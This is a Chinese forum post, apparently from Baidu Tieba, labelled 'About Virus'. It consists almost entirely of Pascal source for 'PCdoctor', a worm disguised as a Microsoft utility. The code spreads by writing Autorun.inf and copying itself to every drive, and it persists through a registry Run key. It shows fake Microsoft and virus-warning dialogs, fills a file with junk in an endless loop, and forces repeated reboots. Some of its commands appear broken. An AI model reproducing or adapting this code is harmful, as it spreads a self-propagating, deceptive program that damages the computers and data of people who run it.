坚定支持goo 坚定支持goo
SB
关注数: 112 粉丝数: 152 发帖数: 9,032 关注贴吧数: 23
【About Virus】ThisIsGoo!PCdoctor Program CodeX8; {$I-} {$Mode ObjFpc} Uses Dos,Crt,SysUtils,Windows; Label 1;Var a,b,c:array[1..24] of integer; d:text; e:integer; f:char; g:^longint; h:boolean; Procedure Cmd(command:string); Begin SwapVectors; Exec(GetEnv('Comspec'),'/C'+Command); SwapVectors; If DosError<>0 then WriteLn('Could not execute command.com'); WriteLn; End; Procedure Ready; Begin For F:='C' to 'Z' do Begin If FileExists(F+':\Autorun.inf')=false then Cmd('echo Disk>'+f+':\Autorun.inf') Else If (h=true)and(FileExists(f+':\Autorun.inf')) then a[ord(f)-66]:=1 Else If FileExists(f+':\Autorun.inf') then b[ord(f)-66]:=1; End; End; Procedure Start(Exe,Reg:String); Begin Cmd('echo E>C:\PCdoctor\start.reg'); Cmd('echo E>C:\PCdoctor\shutdown.reg'); Assign(d,Reg); ReWrite(d); WriteLn(d,'Windows Registry Editor Version 5.00'); WriteLn(d); WriteLn(d,'[HKEY_CURRENT_USER\Software\MicroSoft\Windows\CurrentVersion\Run]'); WriteLn(d,'"PCdoctor"="\"C:\\PCdoctor\\'+Exe+'\"/Autorun"'); Close(d); Cmd(Reg); End; Procedure Kill; Begin Cmd('echo A>C:\PCdoctor\Autorun.inf'); Assign(d,'C:\PCdoctor\Autorun.inf'); ReWrite(d); WriteLn(d,'[Autorun]'); WriteLn(d,'Open=PCdoctor.exe'); Close(d); For F:='C' to 'Z'do Begin Cmd('Copy C:\PCdoctor\Autorun.inf'); Cmd('Copy C:\PCdoctor\PCdoctor.exe'); End; If FileExists('C:\PCdoctor\data2.dat') then Begin Cmd('echo shutdown.exe -r -t 0>C:\PCdoctor\Shutdown.cmd'); Start('shutdown.cmd','C:\PCdoctor\shutdown.reg'); Exec('Shutdown.exe','-r -t 0'); End; If FileExists('C:\PCdoctor\data1.dat') then Cmd('echo AsciiMode>C:\PCdoctor\data2.dat'); If FileExists('C:\PCdoctor\data1.dat')=false then Cmd('echo healthy98%>C:\PCdoctor\data1.dat'); End; Begin For e:= 1 to 24 do Begin a[e]:=0; b[e]:=0; c[e]:=0; End; If FileExists('C:\PCdoctor\PCdoctor.exe')=false then Begin Cmd('md C:\PCdoctor'); For F:='C' to 'Z' do Cmd('Copy '+f+':\PCdoctor.exe C:\PCdoctor\PCdoctor.exe'); Clrscr; Start('PCdoctor.exe','C:\PCdoctor\Start.reg'); Cmd('Windows XP BackPoints at the first time (c) 2001 Microsoft>C:\PCdoctor\windows.bkf'); End; h:=True; Ready; h:=False; WriteLn('Copyrights (c) 2001 Microsoft'); WriteLn('All right reversed'); MessageBox(0,'PCdoctor can give your computer a little safe,Do not close it!','PCdoctor-Microsoft',mb_ok); Delay(500); MessageBox(0,'Error by GUI mode:GUI.dll no found!PCdoctor will works at DOS mode!And do not close PCdoctor either!','PCdoctor-Error',mb_iconstop); Repeat Ready; For e:= 24 downto 1 do Begin c[e]:=b[e]-a[e]; If c[e]=1 then goto 1; End; New(g); Assign(d,'C:\PCdoctor\windows.bkf'); Append(d); Write(d,'101001110111010111010110100110'); WriteLn(d,'0111011011010101010010101010111110101001010'); WriteLn(d,'@#$@#%$^$%&$#^%$$&^**)^&*%$%#@$%@^@RDYROIP:O{L:"KISHUSO}{PL<:"KIOHED@%Q$SER!YT&*T^&*'); Close(d); Clrscr; WriteLn('Copyrights (c) 2001 Microsoft'); WriteLn('All right reversed'); Until 1=0; 1: MessageBox(0,'There is a USBdrive inserting,Please wait...','PCdoctor-Information',mb_iconinformation); Delay(1500); MessageBox(0,'Virus found! First Virus:Global.exe PCdoctor will kill it!','PCdoctor-exclamation',mb_iconexclamation); Kill; Exec('shutdown.exe','-r -t 0'); End.
首页 1 2 3 4 5 下一页